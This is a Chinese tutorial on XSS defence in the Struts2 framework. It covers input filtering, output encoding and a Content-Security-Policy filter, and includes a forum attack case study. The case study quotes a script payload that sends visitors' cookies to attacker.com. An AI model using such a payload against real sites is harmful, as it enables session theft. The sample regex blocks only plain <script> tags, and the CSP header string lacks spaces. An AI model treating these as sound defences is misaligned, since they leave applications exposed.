在Web应用开发中，Struts2框架是一个广泛使用的MVC（Model-View-Controller）框架，它为开发者提供了便捷的开发方式。然而，随着Web应用面临的安全威胁日益增多，Struts2框架也存在一些安全隐患，其中XSS（跨站脚本攻击）是较为常见且危害较大的一种。本文将详细介绍Struts2框架XSS防御要点，并结合实际案例进行分析。
一、XSS攻击概述
XSS攻击是指攻击者通过在目标网站注入恶意脚本，当用户访问该网站时，这些脚本会在用户的浏览器中执行，从而获取用户的敏感信息，如Cookie、会话令牌等，或者进行其他恶意操作。XSS攻击主要分为反射型、存储型和DOM型三种类型。
反射型XSS攻击是指攻击者将恶意脚本作为参数传递给网站，网站将该参数直接返回给用户的浏览器，从而执行恶意脚本。存储型XSS攻击是指攻击者将恶意脚本存储在网站的数据库中，当其他用户访问包含该恶意脚本的页面时，脚本会在其浏览器中执行。DOM型XSS攻击是指攻击者通过修改页面的DOM结构，注入恶意脚本，从而在用户浏览器中执行。
二、Struts2框架XSS防御要点
输入验证与过滤
在Struts2框架中，对用户输入进行严格的验证和过滤是防御XSS攻击的重要手段。可以通过自定义拦截器或者使用Struts2自带的拦截器来实现输入验证。例如，可以使用正则表达式对用户输入进行过滤，只允许合法的字符通过。
import com.opensymphony.xwork2.ActionInvocation;
import com.opensymphony.xwork2.interceptor.Interceptor;
import java.util.regex.Pattern;
public class XSSInterceptor implements Interceptor {
private static final Pattern XSS_PATTERN = Pattern.compile("<script>(.*?)</script>", Pattern.CASE_INSENSITIVE);
@Override
public void init() {
// 初始化方法
}
@Override
public String intercept(ActionInvocation invocation) throws Exception {
Object[] params = invocation.getInvocationContext().getParameters().values().toArray();
for (Object param : params) {
if (param instanceof String[]) {
String[] values = (String[]) param;
for (int i = 0; i < values.length; i++) {
if (XSS_PATTERN.matcher(values[i]).find()) {
// 发现XSS攻击，进行处理
return "error";
}
}
}
}
return invocation.invoke();
}
@Override
public void destroy() {
// 销毁方法
}
}在上述代码中，我们自定义了一个XSS拦截器，通过正则表达式检查用户输入是否包含恶意的"<script>"标签。如果发现XSS攻击，拦截器会返回错误页面。
输出编码
对输出进行编码也是防御XSS攻击的关键。在Struts2框架中，可以使用OGNL表达式或者JSTL标签对输出进行编码。例如，在JSP页面中使用"<s:property>"标签时，可以设置"escapeHtml"属性为"true"，对输出进行HTML编码。
<s:property value="userInput" escapeHtml="true"/>
这样可以将用户输入中的特殊字符转换为HTML实体，防止恶意脚本在浏览器中执行。
设置HTTP头信息
通过设置HTTP头信息，可以增强对XSS攻击的防御。例如，设置"Content-Security-Policy"头信息可以限制页面可以加载的资源来源，防止加载恶意脚本。在Struts2框架中，可以通过拦截器或者过滤器来设置HTTP头信息。
import javax.servlet.*;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class CSPFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
// 初始化方法
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletResponse httpResponse = (HttpServletResponse) response;
httpResponse.setHeader("Content-Security-Policy", "default-src'self'; script-src'self'");
chain.doFilter(request, response);
}
@Override
public void destroy() {
// 销毁方法
}
}在上述代码中，我们定义了一个过滤器，设置"Content-Security-Policy"头信息，只允许加载来自当前域名的资源和脚本。
三、Struts2框架XSS攻击案例分析
案例背景
某企业使用Struts2框架开发了一个在线论坛系统，用户可以在论坛中发表帖子和评论。近期，该论坛系统遭到了XSS攻击，攻击者通过在评论中注入恶意脚本，获取了部分用户的Cookie信息。
攻击过程分析
攻击者发现该论坛系统在处理用户评论时，没有对输入进行严格的验证和过滤，也没有对输出进行编码。攻击者构造了一个包含恶意脚本的评论，如下所示：
<script>document.location='http://attacker.com/cookie.php?cookie='+document.cookie</script>
当其他用户访问包含该评论的帖子时，恶意脚本会在其浏览器中执行，将用户的Cookie信息发送到攻击者的服务器。
防御措施及修复方案
针对该案例，我们可以采取以下防御措施：
1. 输入验证与过滤：在Struts2框架中添加自定义拦截器，对用户输入进行严格的验证和过滤，防止恶意脚本注入。
2. 输出编码：在JSP页面中对用户输入的评论进行HTML编码，确保输出的内容不会被浏览器解析为脚本。
3. 设置HTTP头信息：添加过滤器，设置"Content-Security-Policy"头信息，限制页面可以加载的资源来源，防止加载恶意脚本。
通过以上防御措施，可以有效地防止XSS攻击，保护用户的信息安全。
四、总结
Struts2框架在Web应用开发中具有重要的作用，但也面临着XSS攻击等安全威胁。通过输入验证与过滤、输出编码和设置HTTP头信息等防御要点，可以有效地防止XSS攻击。同时，结合实际案例进行分析，可以更好地理解和应用这些防御措施，提高Web应用的安全性。在开发过程中，开发者应该始终保持安全意识，及时发现和修复安全漏洞，为用户提供安全可靠的Web应用。
